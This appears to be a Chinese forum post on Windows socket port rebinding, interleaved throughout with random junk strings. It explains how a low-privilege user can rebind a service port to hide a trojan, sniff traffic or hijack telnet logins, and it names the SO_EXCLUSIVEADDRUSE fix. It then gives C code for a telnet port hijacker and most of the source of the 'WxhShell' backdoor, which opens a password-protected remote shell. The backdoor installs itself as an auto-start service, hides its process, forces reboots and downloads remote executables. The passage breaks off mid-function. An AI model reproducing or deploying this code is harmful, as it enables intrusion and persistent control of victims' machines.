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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: * :kMv;9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s~p(59 |KMwK
png saddr.sin_family = AF_INET; ,=IGqw ;% <[*T:*' saddr.sin_addr.s_addr = htonl(INADDR_ANY); [d?tf v\Y8+dD bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =w5]o@ WGwIc7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fp&tJ]=B. <9 dfbI) 这意味着什么?意味着可以进行如下的攻击: Ee3-oHa +RBX2$kB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 14pyHMOR ]N;\AXZ7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8=MNzcA } %,UTFuM` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -UoTBvObAm .du2;`[$r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 jO0"`|(]s 64UrD{$o 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Di"Tv<RlQ LgxsO:mi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q o6~)Aws 6Z l#$>P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tMiy`CPh ^M)+2@6 #include $
~Ks!8'P #include 0N87G}Xu #include .% 79(r^ #include Y#t9DhzFWo DWORD WINAPI ClientThread(LPVOID lpParam); &+]-e;[ int main() az1#:Go { -V&nlP WORD wVersionRequested; YTD&swk DWORD ret; 7J;\&q' WSADATA wsaData;
6DG%pF, BOOL val; D>-srzw SOCKADDR_IN saddr; {.])'~[U SOCKADDR_IN scaddr; f hjlt# int err; 2YQ;Kh"S
SOCKET s; +bGO"* SOCKET sc; qjsEyro$- int caddsize; GOsOFs "I HANDLE mt; H0f] Swh0a DWORD tid; QM24cm
T wVersionRequested = MAKEWORD( 2, 2 ); if?X^j0 err = WSAStartup( wVersionRequested, &wsaData ); C]Q`!e if ( err != 0 ) { wBJ|%mc3TA printf("error!WSAStartup failed!\n"); Nwo*tb: return -1; PLJDRp 2o } vaLP_V saddr.sin_family = AF_INET; . H}R}^ V aoqI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^-Rqlr,F; qe5;Pq !G saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )KY4BBc saddr.sin_port = htons(23); bcUSjG> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VU1Wr| { pD!j#suMA printf("error!socket failed!\n"); rd;E /:`5 return -1; ,9M2'6= } H.;2o(vD val = TRUE; }qJ`nN8 //SO_REUSEADDR选项就是可以实现端口重绑定的 QUm[7<" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1(pv3 { I/%L,XyRI printf("error!setsockopt failed!\n"); dlA0&;}z return -1; >@h#'[z,d } )gD2wk( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,rjl|F*
T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +s6v!({Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E5#ff5 (+6N)9rj`/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,|GjrT{vf { ;<*%BtD? ret=GetLastError(); .mNw^>:cq printf("error!bind failed!\n"); Qp7F3,/# return -1; 0|]d^bo } K"[\)&WBG listen(s,2); AiL80W^=d) while(1) >xA(*7 { /6F\]JwU caddsize = sizeof(scaddr); da~_(giD* //接受连接请求 Xy. /1`X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "[rz*[o8I if(sc!=INVALID_SOCKET) )G;Hf?M { #?`S+YN!q) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3}8L!2_p if(mt==NULL) yeMe2Zx { *&I
_fAh] printf("Thread Creat Failed!\n"); ?D,j!Hy break; D>^g2!b: } pN_%>v"o } 4e?bkC CloseHandle(mt); j/q&qrlL } >j7]gi( closesocket(s); 7SN61)[m WSACleanup(); :P
]D`b6p return 0; h6IO ;:P) } ?`xm_udc DWORD WINAPI ClientThread(LPVOID lpParam) ,6#%+u}f { Q/]o'_[vW SOCKET ss = (SOCKET)lpParam; ?S9vYaA$ SOCKET sc; 6nJQP a unsigned char buf[4096]; >y,. `ECn SOCKADDR_IN saddr; K<r5jb long num; Y@<jvH1 DWORD val; ,`OQAJ)> DWORD ret; \rATmjsKzS //如果是隐藏端口应用的话,可以在此处加一些判断 s|:1z"q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {-MjsBR saddr.sin_family = AF_INET; f& \Bs8la saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *0?@/2& saddr.sin_port = htons(23); fP6. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UCkV;//. { 34[TM 3L]. printf("error!socket failed!\n"); 3TZ: return -1; A|]#b?- } Rry]6( val = 100; Zy.ls&<: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |:Maa6(W { l!KPgRw ret = GetLastError(); &r*F+gL return -1; Hq,@j{($ } {]Cn@.TPD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -'L~Y~'. { Ww\ WuaY ret = GetLastError(); [)dIt@Y&j return -1; NQ;$V:s) } 1c429&- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `@WJ_-$# { >T\@j\X4 printf("error!socket connect failed!\n"); 80T2EN:$ closesocket(sc); Ziub%C[oV closesocket(ss); $-~"G,;F return -1; ~iQBgd@D^ } h^qZi@L while(1) L|:CQ { Ctn?O~u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^W9O_5\g4a //如果是嗅探内容的话,可以再此处进行内容分析和记录 C^;8M'8z0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JZ*.;}" num = recv(ss,buf,4096,0); .pdcwd9 if(num>0) {&^PDa|nD send(sc,buf,num,0); ZZHzC+O#^ else if(num==0) A>e-eD xi break; osdoL num = recv(sc,buf,4096,0); ;ND[+i2MN if(num>0) 7:Rt) EE2 send(ss,buf,num,0); 6>;OVX else if(num==0) c3ru4o*K break; *)`PY4zF } GCiG50Z= closesocket(ss); qO8:|q1%;\ closesocket(sc); /V`SJ" return 0 ; HS
]c~ } 6&0G'PMf J~ome7L V=th-o3[ ========================================================== g6P^ JW}. zS|4@t\__ 下边附上一个代码,,WXhSHELL <y~Ba@1u -$:*!55:j ========================================================== ceD6q~) 'UxI-Lt #include "stdafx.h" 44B D2`nF 4b;*:C4? #include <stdio.h> E8"&gblg #include <string.h> izGU&VeB #include <windows.h> |e+3d3T35 #include <winsock2.h> Uf]$I`T# #include <winsvc.h> 2p#d #include <urlmon.h> 5@
td0 ts@Z5Yw*! #pragma comment (lib, "Ws2_32.lib") |2n*Ds' #pragma comment (lib, "urlmon.lib") o<Mccj U<=d@knH #define MAX_USER 100 // 最大客户端连接数 <Opw"yY&q] #define BUF_SOCK 200 // sock buffer aXQAm$/
> #define KEY_BUFF 255 // 输入 buffer $ta JVVF #a~BigZ[G #define REBOOT 0 // 重启 (Cq 38~mR #define SHUTDOWN 1 // 关机 ~*y7%L4B l;A '^ #define DEF_PORT 5000 // 监听端口 bp}97ZQ dY0W=,X$7T #define REG_LEN 16 // 注册表键长度 fp\mBei #define SVC_LEN 80 // NT服务名长度 -!qjBK,`X Lb<IEy77\ // 从dll定义API qxAh8RR;/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "DGap*=J
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,Nhv#U<$
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `AvK8Wh<+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D]aQt%TL <pa-C2Ky // wxhshell配置信息 [A{o"zY struct WSCFG { `$FX%p int ws_port; // 监听端口 (jhi<eV char ws_passstr[REG_LEN]; // 口令 )m8Gbkj< int ws_autoins; // 安装标记, 1=yes 0=no ,X:3w3nr^ char ws_regname[REG_LEN]; // 注册表键名 zA+0jhuG char ws_svcname[REG_LEN]; // 服务名 r#1W$~?> char ws_svcdisp[SVC_LEN]; // 服务显示名 &[j9Up' char ws_svcdesc[SVC_LEN]; // 服务描述信息 "M/) LXn:0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iRkUL]H@& int ws_downexe; // 下载执行标记, 1=yes 0=no I0Allw[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5{+2#- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ):Z#!O< `uk=2k}&m }; :k`Qj(7S Yy]TU} PY // default Wxhshell configuration 7BwR ]. struct WSCFG wscfg={DEF_PORT, 3X;>cv#B "xuhuanlingzhe", M=95E$6 1, TB&IB:4)R "Wxhshell", <8?
F\x@ "Wxhshell", ,YBO}l "WxhShell Service", ntPj9#lf "Wrsky Windows CmdShell Service", !O`j "Please Input Your Password: ", LH+Bu%s 1, ia;osqW " http://www.wrsky.com/wxhshell.exe", 6)Za K "Wxhshell.exe" 09P2<oFLn }; 2_3os
P\Z s?S e]?i // 消息定义模块 S *J{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fJ
_MuAv char *msg_ws_prompt="\n\r? for help\n\r#>"; [:(O`# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; BQ[R)o char *msg_ws_ext="\n\rExit."; q&&"8.w- char *msg_ws_end="\n\rQuit."; rr(kFQ" char *msg_ws_boot="\n\rReboot..."; *>zOWocxD char *msg_ws_poff="\n\rShutdown..."; R1Q,m char *msg_ws_down="\n\rSave to "; Eul3 {+] R=,
pv' char *msg_ws_err="\n\rErr!"; /y4A?*w 6 char *msg_ws_ok="\n\rOK!"; 5W|wDy VyYrL]OrA char ExeFile[MAX_PATH]; 9eP*N(m< int nUser = 0; c2:, HANDLE handles[MAX_USER]; }QQl.' int OsIsNt; lFcHE c Ez-AQ' SERVICE_STATUS serviceStatus; *&]8rm{ SERVICE_STATUS_HANDLE hServiceStatusHandle; tBZ?UAe; dQ_'8
) // 函数声明 O0BDUpH int Install(void); s[UV(::E int Uninstall(void); +8 \?7,FY int DownloadFile(char *sURL, SOCKET wsh); QqW N7y_9 int Boot(int flag); *0L3#. i void HideProc(void); XH*(zTd(? int GetOsVer(void); yV L >Ie/ int Wxhshell(SOCKET wsl); jVGAgR=[G void TalkWithClient(void *cs); "7Kw]8mRR int CmdShell(SOCKET sock); AA ~7"2e int StartFromService(void);
&,Loqr int StartWxhshell(LPSTR lpCmdLine); vZS/?pU~~ yLXIjR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4$N,|bt VOID WINAPI NTServiceHandler( DWORD fdwControl ); UL&>]aQ 7J$rA.tu // 数据结构和表定义 }z\ t}lven SERVICE_TABLE_ENTRY DispatchTable[] = ;O,&MR{;|n { !{(crfXB {wscfg.ws_svcname, NTServiceMain}, L.K| ]]u {NULL, NULL} o@j!J I& }; 'zMmJl}\vd ~=HPqe8 // 自我安装 F8tMZ,: int Install(void) JW2f 6!b { ).u>%4=6 char svExeFile[MAX_PATH]; g2LvojR HKEY key; &pz`gna strcpy(svExeFile,ExeFile); eDNY|}$}v TI"Ki$jC // 如果是win9x系统,修改注册表设为自启动 <bhJ > if(!OsIsNt) { lq`7$7-4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :AuK Q`c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4-'0# a RegCloseKey(key); :l
Z\=2D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UN;U+5,t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U%VFr# RegCloseKey(key); SjJ$Oinc return 0; m)6-D-&7 } #Ak9f-pf } vt(n: Xk } ]:?hU^H]< else { YCzH@94QeV NP~3!b // 如果是NT以上系统,安装为系统服务 qla=LS\-A+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L/bvM?B^ if (schSCManager!=0) UA0(
cK { f!GFRMM1 SC_HANDLE schService = CreateService YVz,P_\(m ( wn<k"6x schSCManager, @fVz
* wscfg.ws_svcname, cauKG@:2F wscfg.ws_svcdisp, Y~lOkH[z SERVICE_ALL_ACCESS, =G'J@[d{d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $3970ni,?O SERVICE_AUTO_START, biQ~q$E SERVICE_ERROR_NORMAL, 4}YHg&@\d% svExeFile, ({C|(v9C7 NULL, &oK&vgcj NULL, ('=Q[ua7-( NULL, ~"R;p}5" NULL, ?#ywUEY* i NULL kCoEdQ_ ); *;T HD> if (schService!=0) }72 +i { v:9Vp{) CloseServiceHandle(schService); f~p[izt CloseServiceHandle(schSCManager); 6?0QzSpfC# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); np7!y
U strcat(svExeFile,wscfg.ws_svcname); eE0nW+i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = o1&.v2j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D;DI8.4`N RegCloseKey(key); UX?S#:h return 0; I[LHJ4 } 6:G::"ew } !T]bz+ CloseServiceHandle(schSCManager); pr1>:0dg } ?SoRi</1 } <a
D}Ko( emS7q|^ return 1; RUV: } G\r>3Ys nN[QUg // 自我卸载 k3e?:t 9 int Uninstall(void) Z&J.8A]L { M >s,I^ HKEY key; E.Arq6 %h=cwT6 if(!OsIsNt) { lXrAsm$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {gS7pY%_W RegDeleteValue(key,wscfg.ws_regname); <%LN3T RegCloseKey(key); FS6ZPjG) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q$^Kf]pD RegDeleteValue(key,wscfg.ws_regname); |%Ssb;M RegCloseKey(key); <\5E{/7Tl return 0; ,N2|P:x } Lq5Eu$;r } _R|8_#yM } )Yw m_f-N else { @-jI<g ZfWF2%]< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .h>tef if (schSCManager!=0) <0^L L { w 8oIq* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &^b mZj! if (schService!=0) ZS?4<lXF { 7V7iIbi if(DeleteService(schService)!=0) { aQ.mvuMa7' CloseServiceHandle(schService); .c2Zr|X CloseServiceHandle(schSCManager); oxgh;v* return 0; D TSK*a ` } )|i]"8I CloseServiceHandle(schService); Qf(mn8 } PLDp=T% CloseServiceHandle(schSCManager); $_&gT.> } g{$F;qbkO } RS1c+]rr a2`|6M; return 1; I'T@}{h } -PH!U Hg [(4s\c // 从指定url下载文件 \>GHc} int DownloadFile(char *sURL, SOCKET wsh) q8e34Ly7 { I^yInrRh5 HRESULT hr; *we*IhIP char seps[]= "/"; 0 P-eC|0 char *token; K#<cuHGC char *file; h`%}5})= char myURL[MAX_PATH]; B&k"B?9mL char myFILE[MAX_PATH];
2<' 1m{ xHY#" strcpy(myURL,sURL); ` p)$7! token=strtok(myURL,seps); 6P6Pl& while(token!=NULL) [qGj*`@C { %I6c}*W file=token; TbPTgE * token=strtok(NULL,seps); Xeo2 < @[ } 6YeEr!zt% EvEI5/z GetCurrentDirectory(MAX_PATH,myFILE); [#Y7iN& strcat(myFILE, "\\"); j)neVPf%v strcat(myFILE, file); 8KrqJN0\ send(wsh,myFILE,strlen(myFILE),0); ?* %JGz_ send(wsh,"...",3,0); 8LM 91 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tE]0
#B)D< if(hr==S_OK) U4hFPK< return 0; %qf ?_2v else .W)%*~ O!; return 1; wN4N2
LU=`K4 } 20XN5dTFT ;"77?) // 系统电源模块 vw/L|b7G int Boot(int flag) {x#I&ra { 3"ii_#1 HANDLE hToken; L]C|&KP TOKEN_PRIVILEGES tkp; R8U?s/* B5iVT<:a if(OsIsNt) { .+ w#n< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1\'zq;I~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KPcOW#.T tkp.PrivilegeCount = 1; utDjN" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7"c^$fj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^t'mfG|DV if(flag==REBOOT) { O-D${== if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ojH$=K>d return 0; '4""Gz } B]o5HA<k else { &2EimP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j(|9>J*,~G return 0; Pl}> } ~rWys= } )ZcwG(o0 else { NQx`u"= if(flag==REBOOT) { 5A~lu4-q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _4]GP3` return 0; ]N\J~Gm } l".LtUf- else { !X5~!b^* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,a&&y0, return 0; t[ Zoe+& } CSC
sJE#4 } >*hY1@N1 rLU+-_ return 1; GRt1]%l#$ } ZT\=:X*e M:4N'#` // win9x进程隐藏模块 p%8v+9+h2 void HideProc(void) Z+qTMm { ,'KQF C 2,nVo^13} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {Gd<+tQg if ( hKernel != NULL ) yMQZulCWE { H1alf_(_
\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Py/,Ks.q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); / p_mFA]@ FreeLibrary(hKernel); vUX(h.}8 } YL$#6d uEK9 return; k|Hxd^^I } >8pmClVvmR O[tOpf@s. // 获取操作系统版本 Dd(# int GetOsVer(void) ^X&n-ui
{ ~(BvIzzD OSVERSIONINFO winfo; 0nh;0Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %,l+?fF GetVersionEx(&winfo); +, SUJ| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1nt VM+ return 1; 8hTtBa else 4z_ >CiA return 0; VUo7Evc:.P } k3-'!dW< 63J_u-o // 客户端句柄模块 <`B4+:;w6 int Wxhshell(SOCKET wsl) !L+4YA { lHV&8fny SOCKET wsh; K%XQdMv struct sockaddr_in client; R::0.*FF DWORD myID; ^x! N] u x[h\Tp while(nUser<MAX_USER) 'w'PrM,: { pwiXA{ int nSize=sizeof(client); w3l+BUn:X wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Z529Ns if(wsh==INVALID_SOCKET) return 1; }mz6z<pJ_ c
k$ > yk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /EN3>25"# if(handles[nUser]==0) ZB+N[VJs) closesocket(wsh); [7K-L6X else igoXMsifT+ nUser++; MOiTzL* } ?B)jnBh| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?,_$;g m+f?+c6 return 0; X=:|v<E
} dG6 G H`js1b1n // 关闭 socket i\2d1Z void CloseIt(SOCKET wsh) 4CzT<cp { =~)J:x\F closesocket(wsh); )1PZ# nUser--; Km5#$IiP; ExitThread(0); .{cka]9WJz } X~aD\%kC7 _QD##`< // 客户端请求句柄 Im
NTk void TalkWithClient(void *cs) So?ScX\lG { *rY@(| w]4=uL6 SOCKET wsh=(SOCKET)cs; a(+.rf; char pwd[SVC_LEN]; TRQ@=. char cmd[KEY_BUFF]; &f}a` /{@ char chr[1]; =%p%+F@RlW int i,j; &P+7Um( eR'Df"+ while (nUser < MAX_USER) { Kq`C5 8Ol#-2>k$ if(wscfg.ws_passstr) { )2@_V % if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NWuJ&+gcO5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V3<baxdE //ZeroMemory(pwd,KEY_BUFF); n:hHm, i=0; `+IB;G1 while(i<SVC_LEN) {
ohK_~ ~$#"'Tl4J // 设置超时 \q2#ef@2 fd_set FdRead; QZcdfJck=+ struct timeval TimeOut; ZI'MfkEZ* FD_ZERO(&FdRead); /Iwnl FD_SET(wsh,&FdRead); gW{<:6}!* TimeOut.tv_sec=8; pYtG%< TimeOut.tv_usec=0; w"s;R8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m5O;aj* i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #~A (%a _ >)+
u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <h(KIY9T pwd =chr[0]; V SJGp` if(chr[0]==0xd || chr[0]==0xa) { K[tQ>C@s2 pwd=0; {1RI!#[\ break; Vy]y73~ } }?"}R<F|M, i++; ].W)eMC*c( } I{8fTod Gp0H[-oF // 如果是非法用户,关闭 socket X<\E
'v`~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Y>5 [gp } #6< X ^Eu]i send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P5u
Y1( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \8Mn[G9TL ~U] "dbQ while(1) { 9`83cL ET]PF ,` ZeroMemory(cmd,KEY_BUFF); g"k1O (G:A^z // 自动支持客户端 telnet标准 ^/nj2" j=0; .hBq1p
while(j<KEY_BUFF) { RrFq" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \!!qzrq cmd[j]=chr[0]; (IlHg^" if(chr[0]==0xa || chr[0]==0xd) { 7Hghn"ol cmd[j]=0; cT2&nZ break; PUt\^ke } bve_*7CEM j++; D{-h2=V } 4(
Q_J4}P ]} D^?g^ // 下载文件 p`/"e<TP if(strstr(cmd,"http://")) { B,Pbm|U1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); [}xVz"8 V if(DownloadFile(cmd,wsh)) w %4SNR send(wsh,msg_ws_err,strlen(msg_ws_err),0); @vsgmz else |l4tR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CSKOtqKQ) } u/wWP4'$J@ else { U0%T<6*H icO$9c switch(cmd[0]) {
fQW1&lFT w=NM==cLj // 帮助 mS\gh)<h case '?': { j6!C/UgQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YmrrZ&]q break; [Lck55V+Q } /{)}y // 安装 a0wSXd case 'i': { sj9j47y if(Install()) /+V}. send(wsh,msg_ws_err,strlen(msg_ws_err),0); f ZEyXb else
6tx5{Xl-o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U yb -feG break; *5|;eN } Z\lJE>1 // 卸载 -yP|CZM case 'r': { B$ =oU if(Uninstall()) 1K*`i( send(wsh,msg_ws_err,strlen(msg_ws_err),0); v3p0 else r\PO?1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "[wkjNf% break; :VkuK@Th` } ^Z
|WD!>` // 显示 wxhshell 所在路径 $_cO7d case 'p': { Wg!<V6} char svExeFile[MAX_PATH]; <E2nM, strcpy(svExeFile,"\n\r"); {yzo#"4Oy strcat(svExeFile,ExeFile); {"dvU"y)\ send(wsh,svExeFile,strlen(svExeFile),0); `4SwdW n break; T'ko =k } ]| xfKDu // 重启 q`Rc \aWB% case 'b': { ngt?9i;N send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ u*R6z if(Boot(REBOOT))
vE~>9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y5ZBP?P else { 'bQjJRq! closesocket(wsh); 5i0vli/L ExitThread(0); QmKEl|/{u } $~ >/_<~ break; APJVD- } W"
i3:r // 关机 p!o?2Lbiw case 'd': { 5y~Srb?2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Ai3p if(Boot(SHUTDOWN)) uFUVcWt send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}\m%(i else { b Y2:g ) closesocket(wsh); 1F'x$~ZI ExitThread(0); u2E}DhV } $=9g,39 break; |e_'%d& } X:>,3[hx| // 获取shell B9:
i.rQ case 's': { X()yhe_ CmdShell(wsh); >^~W'etX| closesocket(wsh); 8x`EUJ ExitThread(0); rYCIU break; -NPX;e$< } .[:y`PCF // 退出 8zO;=R A7% case 'x': { h:=W`(n5u send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M,vCAZ CloseIt(wsh); _[pbfua break; B!x7oD9 } 3rj7]:Vr // 离开 veAdk9 case 'q': { ,UNnz&H+f send(wsh,msg_ws_end,strlen(msg_ws_end),0); -4v2] closesocket(wsh); gX~lYdA WSACleanup(); }vEMG-sxX exit(1); sZ>0*S break; A~@x8 } P]0/ S } f+%s.[;A } v[4-?7- ckkm}|&m // 提示信息 V
X.9mt if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zwJ\F ' } !PfdY&.) } fp?/Dg"49. 3~\,VO'' return; VQI[J } @5h(bLEP "XLFw;o // shell模块句柄 eWr2UXv$ int CmdShell(SOCKET sock) b/d1(B@ { "..I$R STARTUPINFO si; lvH} 8lJ ZeroMemory(&si,sizeof(si)); <C_FRpR<f si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g~XR#vl$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c6cB
{/g PROCESS_INFORMATION ProcessInfo; +ZR>ul-c char cmdline[]="cmd"; ;)Sf| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @!*I
mNMI return 0; 6J <.i } A"6& `(xzCRX // 自身启动模式 0py29>"t int StartFromService(void) ?(Xy 2%v { :Q}Zb,32 typedef struct L\q-Z.. { K.Y.K$NjP{ DWORD ExitStatus; EUbyQL DWORD PebBaseAddress; ^@)*voP#G DWORD AffinityMask; i)(-Ad_ DWORD BasePriority; $mxl&Qr>Q; ULONG UniqueProcessId; a>&dAo} ULONG InheritedFromUniqueProcessId; MaZVGrcC } PROCESS_BASIC_INFORMATION; %zN~%mJG 8{ )N%r PROCNTQSIP NtQueryInformationProcess; C3KAQU &kQj) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W$J@|i static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6('CB|ga h7PIF*7m
e HANDLE hProcess; }Vfc;2 PROCESS_BASIC_INFORMATION pbi; 1]&{6y x,c\q$8yH HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,"5xKF+cS if(NULL == hInst ) return 0; CYdYa| _
